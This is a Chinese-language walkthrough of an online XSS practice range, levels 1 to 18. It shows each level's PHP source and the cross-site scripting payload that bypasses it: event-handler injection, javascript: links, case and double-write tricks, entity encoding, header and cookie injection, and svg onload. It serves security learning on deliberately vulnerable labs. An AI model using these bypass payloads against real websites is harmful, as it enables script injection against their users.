XSS靶场

我用的是线上XSS-labs:
https://xssaq.com/yx/

一些知识点详见周记2的XSS部分:
https://Hades-blog.github.io/2023/10/15/%E5%91%A8%E8%AE%B0-2023-10-15-%E5%91%A8%E8%AE%B02/

level 1

查看网站源码,可以发现get传参name的值test插入了html里头,还回显了payload的长度

直接get传js代码

1
<script>alert('1')</script>

level 2

第一个test可以跟上次一样直接插入js即可,我们先试试看

1
<script>alert('1')</script>

没成功,看一下源码

1

第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉前面的input和引号即可,构造payload

1
">  <script>alert('1')</script>  <"

或者末尾通过注释使其失效也可以

1
">  <script>alert('1')</script> //

level 3

经过尝试发现符号都被实体化了,并看源码发现用的是htmlspecialchars() 函数

那我们先讲讲htmlspecialchars()函数

使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。


那么我们可以通过单引号闭合前面的双引号但无法用尖括号闭合input标签

这样的话我们可以考虑html事件通过某种触发输入框时执行代码

比如我们可以选择比较常用的一种事件,payload如下

1
'onclick='alert(1)
1
<input name="keyword" value="'onclick='alert(1)">

不难发现,payload注入在其中后,第一个单引号把value后面的双引号闭合.第二个单引号与最后的双引号将js代码包裹其中

这样注入之后通过点击输入框来执行js代码

level 4

与上题同理,只不过多了些过滤,直接上payload

1
"onclick="alert(1)

level 5

经过尝试本题的双引号和尖括号等没有被实体化,但是过滤了on这类常用的事件,那么基本上就要考虑其他方法来执行js代码了

我们可以选择使用超链接,利用js伪协议执行js代码(周记2有写到)

那么我们只需要闭合input标签和无关紧要的双引号(超链接之后的没必要闭合因为不印象超链接的生成)就可以成功注入这段超链接了,payload如下:

1
"> <a href="javascript:alert('1')">link</a>

level 6

经过尝试,虽然符号没被实体化,但多过滤了href,src等关键词

通过查阅资料,尝试了一下大写的herf,结果成功了,下面给出payload

1
"> <a hRef="javascript:alert('1')">link</a>

level 7

经过尝试上一关的语句,发现href和script部分被检测到后被删掉了,那我们可以尝试双写绕过

1
"> <a hrhrefef="javascrscriptipt:alert('1')">link</a>

level 8

经过尝试发现输入的部分会被引用在友情链接的href部分,但过滤很严格,基本之前的绕过方法都不管用了

那么我们可以尝试使用html实体编码把js伪协议部分编码的值输入

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;

这样前端接收到我们的内容会自动解码成代码并执行,并且成功绕过检测

level 9

和上题大致但过滤更为严格,html编码无法使用,那么我们查看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
1
2
3
我们发现需要在输入中携带http://

那么我们可以尝试把http://部分放在js伪协议后面使js且能绕过,但需要和前面部分进行隔断
1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;//http://

level 10

这关通过看网页源代码有发现隐藏的表单部分,并且通过尝试发现依旧过滤了一些符号,可以先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

不难发现我们要传t_sort变量使输入的值会出现在第三个input部分,但是尖括号被过滤我们无法闭合input标签

那么我们可以尝试注释掉后半部分的hidden类型,并且注入一个新的text类型,即这样的一个过程:

1
<input name="t_sort"  value="' '"onclick=alert(1) type="text" //'" type="hidden">

则payload为

1
?t_sort='"onclick=alert(1) type="text" //

这样输入框就展现出来了,点击输入框后成功执行js语句,完成此关

level 11

类似于上一道,依旧有隐藏的表单部分,先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

经过搜索,发现&_SERVE接收的是上个网页的url,并且接收的是请求头部分的Referer内容

那么我们可以在Referer部分构造和上关一样的payload尝试

1
Referer: '"onclick=alert(1) type="text" //

成功,进入下一关

level 12

还是直接来看下源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

和上题形式一样,只不过$_SERVER部分由User-Agent部分接收值了

那就在此部分构造同意的payload尝试

1
User-Agent: '"onclick=alert(1) type="text" //

没什么问题,通过

level 13

发现又是差不多类型的题,还是先看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这次是要求在cookie部分传参了,依旧尝试之前的payload

1
cookie: user='"onclick=alert(1) type="text" //

没啥好说的,成功

level 14

本关来源网站g了,直接看下一关

level 15

进去后发现网站用get请求传了个src参数,先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

那么发现主要的问题就出在”ng-include”这里,通过搜索发现就是一个简单的文件包含作用

这时我们可以尝试引用其他关,并利用其他关的漏洞执行js代码通过本关,例如

1
?src='level1.php?name=<a href="javascript:alert(1)">'

这样我们点击超链接就能通过了

level 16

没发现什么,看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

发现这关的过滤导致我们不能用js标签或是js伪协议,且过滤了斜杠不能用双标签,还需绕过过滤空格

那么我们可以构建这样的payload,通过加载一张svg图片执行js代码,并且用%0a绕过过滤空格(%0a为回车符,在html中合法读成空格执行)

1
<svg%0aonload=alert('1')> 

level 17

先注意本关需要用chrome浏览器,发现是会加载插件

那我们可以构造这样的payload

1
?arg01=a&arg02=b onmouseover=alert('1')

这样鼠标移动到此插件就能触发js代码

level 18

和上题做法相同

level 19-20

这两道题目环境有问题,本靶场潦草收场